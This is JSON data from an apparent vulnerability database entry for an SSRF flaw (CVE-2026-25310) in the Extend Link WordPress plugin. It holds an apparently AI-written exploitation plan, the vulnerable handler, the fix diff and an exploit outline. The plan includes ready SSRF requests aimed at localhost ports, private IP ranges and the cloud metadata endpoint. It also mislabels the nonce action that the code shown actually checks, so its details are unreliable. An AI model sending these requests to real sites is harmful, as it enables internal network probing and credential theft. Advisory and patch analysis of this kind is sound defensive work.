[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fVlgqHkUgLOFfNvhsN4Wl9oBrMAio0FBpHW_dl8E7mXc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-25310","extend-link-authenticated-contributor-server-side-request-forgery","Extend Link \u003C= 2.0.0 - Authenticated (Contributor+) Server-Side Request Forgery","The Extend Link plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.","extend-link",null,"\u003C=2.0.0","2.0.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Server-Side Request Forgery (SSRF)","2026-01-21 00:00:00","2026-05-04 15:18:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3bcb87df-5cd3-4234-ad17-c40eacabd305?source=api-prod",104,[22,23,24],"extend-link.php","js\u002Ftinymce-button.js","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-25310 (Extend Link SSRF)\n\n## 1. Vulnerability Summary\nThe **Extend Link** plugin (\u003C= 2.0.0) is vulnerable to an authenticated Server-Side Request Forgery (SSRF) via the \"Link Status Checker\" feature. The plugin registers an AJAX action `extend_link_plu_check_link` intended to verify if a URL is active for SEO purposes. This handler fails to restrict requests to external public IP addresses or validate the target port, allowing an authenticated attacker (Contributor+) to force the web server to make requests to internal services, local hostnames, or cloud metadata endpoints.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `extend_link_plu_check_link`\n- **Vulnerable Parameter:** `url`\n- **Authentication Required:** Contributor level (`edit_posts` capability) or higher.\n- **Preconditions:** The attacker must have access to a nonce generated with the action `extend_link_nonce`.\n\n## 3. Code Flow\n1. **Hook Registration:** In `extend-link.php`, the `Extend_Link_TinyMCE::init()` method registers the AJAX action:\n   ```php\n   add_action('wp_ajax_extend_link_plu_check_link', array($this, 'check_link_status'));\n   ```\n2. **Nonce Generation:** The `enqueue_translations` method (hooked to `admin_enqueue_scripts`) generates a nonce for users on the post editor screen:\n   ```php\n   $translations = array(\n       \u002F\u002F ...\n       'nonce' => wp_create_nonce('extend_link_nonce'),\n   );\n   wp_localize_script('extend_link_tinymce-button-style', 'extendLinkI18n', $translations);\n   ```\n3. **JS Invocation:** In `js\u002Ftinymce-button.js`, the \"Check\" button in the dialog triggers an AJAX call:\n   ```javascript\n   var formData = new FormData();\n   formData.append('action', 'extend_link_plu_check_link');\n   formData.append('url', url);\n   formData.append('nonce', extendLinkI18n.nonce);\n   \u002F\u002F ... sends to admin-ajax.php\n   ```\n4. **Vulnerable Sink (PHP):** The `check_link_status` function (inferred) processes the `$_POST['url']`. It likely utilizes `wp_remote_get()` or `wp_remote_head()` without applying `wp_http_validate_url()` or similar restrictions, allowing the server to hit `localhost`, `127.0.0.1`, or internal IP ranges.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is required and is specifically localized for the post\u002Fpage editor screens.\n1. **Requirement:** Create a user with the **Contributor** role.\n2. **Access Page:** Navigate to the \"New Post\" page (`\u002Fwp-admin\u002Fpost-new.php`).\n3. **Extraction:** Use `browser_eval` to extract the nonce from the global JavaScript object `extendLinkI18n`.\n   - **JavaScript Variable:** `extendLinkI18n.nonce`\n   - **Action String:** `extend_link_nonce`\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate SSRF by querying an internal service or the server's own loopback interface.\n\n### Step 1: Authentication and Nonce Retrieval\n- Log in as a Contributor.\n- Navigate to `\u002Fwp-admin\u002Fpost-new.php`.\n- Run: `browser_eval(\"window.extendLinkI18n?.nonce\")`.\n\n### Step 2: SSRF Execution\nUsing the `http_request` tool, send a POST request to `admin-ajax.php`.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `action=extend_link_plu_check_link&url=http:\u002F\u002F127.0.0.1:80&nonce=[NONCE]`\n\n### Step 3: Payload Variations\n- **Local Port Scanning:** Set `url` to `http:\u002F\u002F127.0.0.1:[PORT]` (e.g., 22, 3306, 6379) to identify open ports based on the plugin's response.\n- **Internal Service Discovery:** Set `url` to `http:\u002F\u002F192.168.1.1` or other RFC1918 addresses.\n- **Cloud Metadata (if applicable):** Set `url` to `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`.\n\n## 6. Test Data Setup\n1. **Create User:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password\n   ```\n2. **No special content required:** The vulnerability is accessible directly via the AJAX endpoint once the nonce is obtained from the post editor.\n\n## 7. Expected Results\n- **Success Response:** The plugin typically returns a JSON object or status message containing the HTTP code of the target URL.\n- **Proof of SSRF:** If the request to `http:\u002F\u002F127.0.0.1:80` returns a `200 OK` status (or the HTML of the WP homepage) via the AJAX response, SSRF is confirmed. If a closed port returns a connection error or a different status (e.g., 0 or 500), it confirms the ability to probe internal networking.\n\n## 8. Verification Steps\nSince this is an SSRF, the primary evidence is in the HTTP response body of the AJAX call. To confirm via server state:\n1. **Monitor Logs:** Check the server access logs to see if the WordPress instance made a request to itself (loopback).\n2. **Port Scan Confirmation:** Attempt to hit a known closed port (e.g., `127.0.0.1:9999`) and compare the response to a known open port (e.g., `127.0.0.1:80`).\n\n## 9. Alternative Approaches\nIf the `extendLinkI18n` object is not populated:\n1. **Check Script Loading:** Ensure the plugin script `js\u002Ftinymce-button.js` is actually loaded. The code suggests it only loads on `post.php` and `post-new.php`.\n2. **Direct Nonce Search:** Use `browser_eval(\"document.documentElement.innerHTML.match(\u002F'nonce':'([a-f0-9]+)'\u002F)\")` as a fallback if the object name is different in certain versions.\n3. **Gutenberg vs Classic:** If the site uses Gutenberg, ensure you are interacting with a \"Classic Block\" or that the TinyMCE initialization still triggers the `admin_enqueue_scripts` hook for `Extend Link`.","The Extend Link plugin for WordPress is vulnerable to an authenticated Server-Side Request Forgery (SSRF) via its link status checker feature. Users with Contributor-level permissions or higher can trigger the plugin to make web requests to arbitrary internal or external URLs, potentially allowing them to scan internal ports or access sensitive metadata services.","\u002F\u002F extend-link.php approx line 190\npublic function check_link_status() {\n\n    if ( !isset($_POST['nonce']) || empty($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'extend_link_check_status_nonce') ) {\n        wp_send_json_error(['message' => __('Security check failed. Please refresh the page and try again.', 'extend-link')]);\n    }\n\n    $url = isset($_POST['url']) ? sanitize_url(wp_unslash($_POST['url'])) : '';\n\n    $url = !empty(trim($url)) ? esc_url_raw($url) : '';\n    \n    if (empty($url)) {\n        wp_send_json_error(['message' => __('Please enter a URL first to check its status.', 'extend-link')]);\n    }\n\n    if ( !filter_var($url, FILTER_VALIDATE_URL) ) {\n        wp_send_json_error(['message' => __('Please enter a valid URL.', 'extend-link')]);\n    }\n    \n    $response = wp_remote_head($url, array(\n        'timeout' => 10,\n        'sslverify' => false\n    ));\n    \n    if (is_wp_error($response)) {\n        wp_send_json_error(__('There is an error. Please try again after a few seconds.', 'extend-link'));\n    }\n    \n    $status = wp_remote_retrieve_response_code($response);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fextend-link\u002F2.0.0\u002Fextend-link.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fextend-link\u002F2.0.1\u002Fextend-link.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fextend-link\u002F2.0.0\u002Fextend-link.php\t2025-12-02 11:47:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fextend-link\u002F2.0.1\u002Fextend-link.php\t2026-02-02 08:38:10.000000000 +0000\n@@ -187,31 +187,92 @@\n             );\n         }\n \n+        \u002F**\n+         * Enhanced security check for URLs\n+         * Validates that the URL is safe to check and not pointing to internal resources\n+         * \n+         * @param string $url The URL to validate\n+         * @return bool True if URL is safe, false otherwise\n+         *\u002F\n+        public function is_safe_url($url) {\n+            $parsed = wp_parse_url($url);\n+            \n+            if (!$parsed || !isset($parsed['host'])) {\n+                return false;\n+            }\n+            \n+            $host = $parsed['host'];\n+            \n+            \u002F\u002F Block common localhost and internal addresses\n+            $blocked_hosts = array(\n+                'localhost',\n+                '127.0.0.1',\n+                '0.0.0.0',\n+                '::1',\n+                '[::1]'\n+            );\n+            \n+            if (in_array(strtolower($host), $blocked_hosts)) {\n+                return false;\n+            }\n+            \n+            \u002F\u002F Check for private\u002Freserved IP ranges\n+            if (filter_var($host, FILTER_VALIDATE_IP)) {\n+                if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+                    return false;\n+                }\n+            }\n+            \n+            \u002F\u002F Only allow HTTP and HTTPS protocols\n+            if (!in_array($parsed['scheme'], array('http', 'https'))) {\n+                return false;\n+            }\n+            \n+            return true;\n+        }\n+\n+        \u002F**\n+         * AJAX handler to check link status\n+         * Uses wp_safe_remote_head() for enhanced security against SSRF attacks\n+         *\u002F\n         public function check_link_status() {\n+            \u002F\u002F Verify user capabilities\n+            if (!current_user_can('edit_posts')) {\n+                wp_send_json_error(['message' => __('You do not have permission to perform this action.', 'extend-link')]);\n+            }\n \n-            if ( !isset($_POST['nonce']) || empty($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'extend_link_check_status_nonce') ) {\n+            \u002F\u002F Verify nonce for CSRF protection\n+            if (!isset($_POST['nonce']) || empty($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'extend_link_check_status_nonce')) {\n                 wp_send_json_error(['message' => __('Security check failed. Please refresh the page and try again.', 'extend-link')]);\n             }\n \n+            \u002F\u002F Sanitize and validate URL\n             $url = isset($_POST['url']) ? sanitize_url(wp_unslash($_POST['url'])) : '';\n-    \n             $url = !empty(trim($url)) ? esc_url_raw($url) : '';\n             \n             if (empty($url)) {\n                 wp_send_json_error(['message' => __('Please enter a URL first to check its status.', 'extend-link')]);\n             }\n \n-            if ( !filter_var($url, FILTER_VALIDATE_URL) ) {\n+            if (!filter_var($url, FILTER_VALIDATE_URL)) {\n                 wp_send_json_error(['message' => __('Please enter a valid URL.', 'extend-link')]);\n             }\n             \n-            $response = wp_remote_head($url, array(\n+            \u002F\u002F Additional security check for internal addresses\n+            if (!$this->is_safe_url($url)) {\n+                wp_send_json_error(['message' => __('This URL is not allowed for security reasons.', 'extend-link')]);\n+            }\n+            \n+            $response = wp_safe_remote_head($url, array(\n                 'timeout' => 10,\n-                'sslverify' => false\n+                'sslverify' => true,\n+                'redirection' => 3,\n+                'user-agent' => 'WordPress\u002F' . get_bloginfo('version') . '; ' . get_bloginfo('url'),\n+                'httpversion' => '1.1'\n             ));\n             \n             if (is_wp_error($response)) {\n-                wp_send_json_error(__('There is an error. Please try again after a few seconds.', 'extend-link'));\n+                wp_send_json_error(['message' => __('There is an error. Please try again after a few seconds.', 'extend-link')]);\n             }\n             \n             $status = wp_remote_retrieve_response_code($response);","To exploit this SSRF vulnerability, an attacker must have an account with at least Contributor-level privileges. First, the attacker logs in and navigates to the post editor page to obtain a valid security nonce from the `extendLinkI18n` JavaScript object. The attacker then makes an AJAX POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters: `action` set to `extend_link_plu_check_link`, `nonce` set to the retrieved value, and `url` set to an internal target (e.g., `http:\u002F\u002F127.0.0.1:80` or AWS metadata endpoints). Since the vulnerable version uses `wp_remote_head` without validating the host, the server will attempt to connect to the provided URL and return the HTTP status code in the response, allowing the attacker to verify the presence of internal services or scan for open ports.","gemini-3-flash-preview","2026-05-05 03:47:24","2026-05-05 03:47:43",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","2.0.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fextend-link\u002Ftags\u002F2.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fextend-link.2.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fextend-link\u002Ftags\u002F2.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fextend-link.2.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fextend-link\u002Ftags"]